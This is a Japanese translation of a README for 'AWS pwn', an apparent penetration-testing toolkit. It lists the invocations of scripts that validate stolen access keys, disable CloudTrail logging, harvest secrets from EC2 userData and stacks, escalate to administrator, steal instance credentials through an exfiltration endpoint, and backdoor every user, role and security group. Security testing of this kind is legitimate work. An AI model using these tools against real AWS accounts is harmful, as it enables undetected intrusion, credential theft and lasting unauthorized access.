AWS pwn
概要
これは、AWSのペネトレーションテストに関連するさまざまなタスクを実行するための、ひどい書き方のスクリプト集です。もしあなたの環境で動作しなくても悲しまないでください。特定のツールが書かれた後にAWSが変更されたか、コードがひどいかのどちらかです。いずれにせよ、気軽にコントリビューションしてください。
このジャンクのほとんどはDaniel Grzelakによって書かれましたが、多くのコントリビューションがあり、特にMike Fullerが顕著です。
要件
pip install -r requirements.txt
また、~/.aws/credentials に AWS 認証情報を設定 してください。
偵察
侵害前の情報収集に関する作業。
- validate_iam_access_keys.py - アクセスキー+シークレット[+セッション]の組み合わせのTSVファイルを入力として、アクセスの有効性を確認し、プリンシパルの識別情報を返します。
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
- validate_s3_buckets.py - 1行に1単語を含むテキストファイルを入力として、バケットが存在するか確認し、基本識別情報を返します。
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
- validate_iam_principals.py - プリンシパル(例:user/admin、role/deploy)のテキストファイルを入力として、指定されたアカウント内にそのプリンシパルが存在するか確認します。
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
- validate_accounts.py - アカウントIDとアカウントエイリアスのテキストファイルを入力として、アカウントが存在するか確認します。
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
悪用
アカウントに足場を築くのに役立つもの。
ステルス
アカウントを侵害した後に隠れ続けるのに役立つもの。
- disrupt_cloudtrail.py - 指定された方法でCloudTrailログを妨害/無力化しようとします。
./disrupt_cloudtrail.py -s
探索
何をpwnしたのかを理解するのに役立つもの。
- dump_account_data.sh - 多くの汎用アカウントベースのread/list/get/describe関数を呼び出し、データを指定された場所に保存します。非常にノイズが多いですが、特定時点のスナップショットとして優れています。
./dump_account_data.sh /tmp/
権限昇格
アカウント内を移動し、さまざまなアクセスレベルを収集するのに役立つもの。
- dump_instance_attributes.py - アカウント内のすべてのEC2インスタンスを順に処理し、指定されたインスタンス属性を取得します。最も一般的には、シークレットを含む傾向があるuserDataを取得するために使用されます。
./dump_instance_attributes.py -u -o /tmp/
- dump_cloudformation_stack_descriptions.py - 既存のすべてのスタックと、過去90日間に削除されたすべてのスタックのスタック説明を取得します。スタック説明のパラメータには、パスワードやその他のシークレットが含まれることがよくあります。
./dump_cloudformation_stack_descriptions.py -o /tmp/data
- assume_roles.py - ファイル内またはlist-roles APIによって提供されるすべてのロール(ARN)を引き受けようとします。
./assume_roles.py -o /tmp/out.json
- add_iam_policy - 指定されたユーザー、ロール、またはグループに管理者および全アクションポリシーを追加します。IAM putPolicyまたはattachPolicy権限が必要です。
./add_iam_policy.py -u myuser -r myrole -g mygroup
- bouncy_bouncy_cloudy_cloud - 指定されたEC2インスタンスをバウンスし、そのuserDataを書き換えて、任意のコードを実行したり、一時的なインスタンスプロファイルの認証情報を盗んだりできるようにします。
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
永続化
アカウントへのアクセスを維持するのに役立つもの。
- rabbit_lambda - ユーザー削除イベントに応答して、削除されたユーザーのコピーをさらに作成するLambda関数の例。
- cli_lambda - AWS CLIプロキシとして動作し、認証情報を必要としないLambda関数。
- backdoor_created_users_lambda - 新しく作成された各ユーザーにアクセスキーを追加するLambda関数。
- backdoor_created_roles_lambda - 新しく作成された各ロールに信頼関係を追加するLambda関数。
- backdoor_created_security_groups_lambda - 新しく作成された各セキュリティグループに指定されたインバウンドアクセスルールを追加するLambda関数。
- backdoor_all_users.py - アカウント内のすべてのユーザーにアクセスキーを追加します。
- backdoor_all_roles.py - アカウント内の各ロールに信頼関係を追加します。ロールARNを設定するためにファイルの編集が必要です。
- backdoor_all_security_groups.py - アカウント内の各セキュリティグループに指定されたインバウンドアクセスルールを追加します。ルールを設定するためにファイルの編集が必要です。
データ流出
AWS的な方法でデータを抽出および移動するのに役立つもの。
雑多
分類するには愚かすぎるか、怠惰すぎるその他のもの。
- reserved_words.txt - AWSで特別な意味を持つ、または近い将来特別な意味を持つ可能性がある単語/トークンのリスト。
- endpoints.txt - AWSが公開しているAPIエンドポイントの、ある程度最新のリスト。
- integrations.txt - ロールまたはアクセスキーを介してAWSと統合するサービスと、そのアカウントID、デフォルトユーザー名などのTSV。
- download_docs.sh - AWSの全ドキュメントをwgetするコマンドライン。なぜなら、私は愚かで毎回やり直すのに時間を無駄にしているからです。
今後の予定
- 永続化のためにユーザーにパスワードを追加
- スタックリソースのダンプ
- MFAの検証
- dump_account_dataにさらに呼び出しを追加
- ログ妨害手法をさらに追加
- CloudTrailからグッズを取得するためのCloudTrail解析スクリプトを作成
- S3バケット権限列挙ツールを作成
- ディスク上の一般的な場所からAWS認証情報を取得するツールを作成
- クローニングツールを作成
- passroleを使用する馬鹿げた特権昇格ツールを作成
- キューの検証
- 通知トピックの検証
- 永続化スクリプトを修正して、スクリプト内の定数の代わりに引数を使用するようにする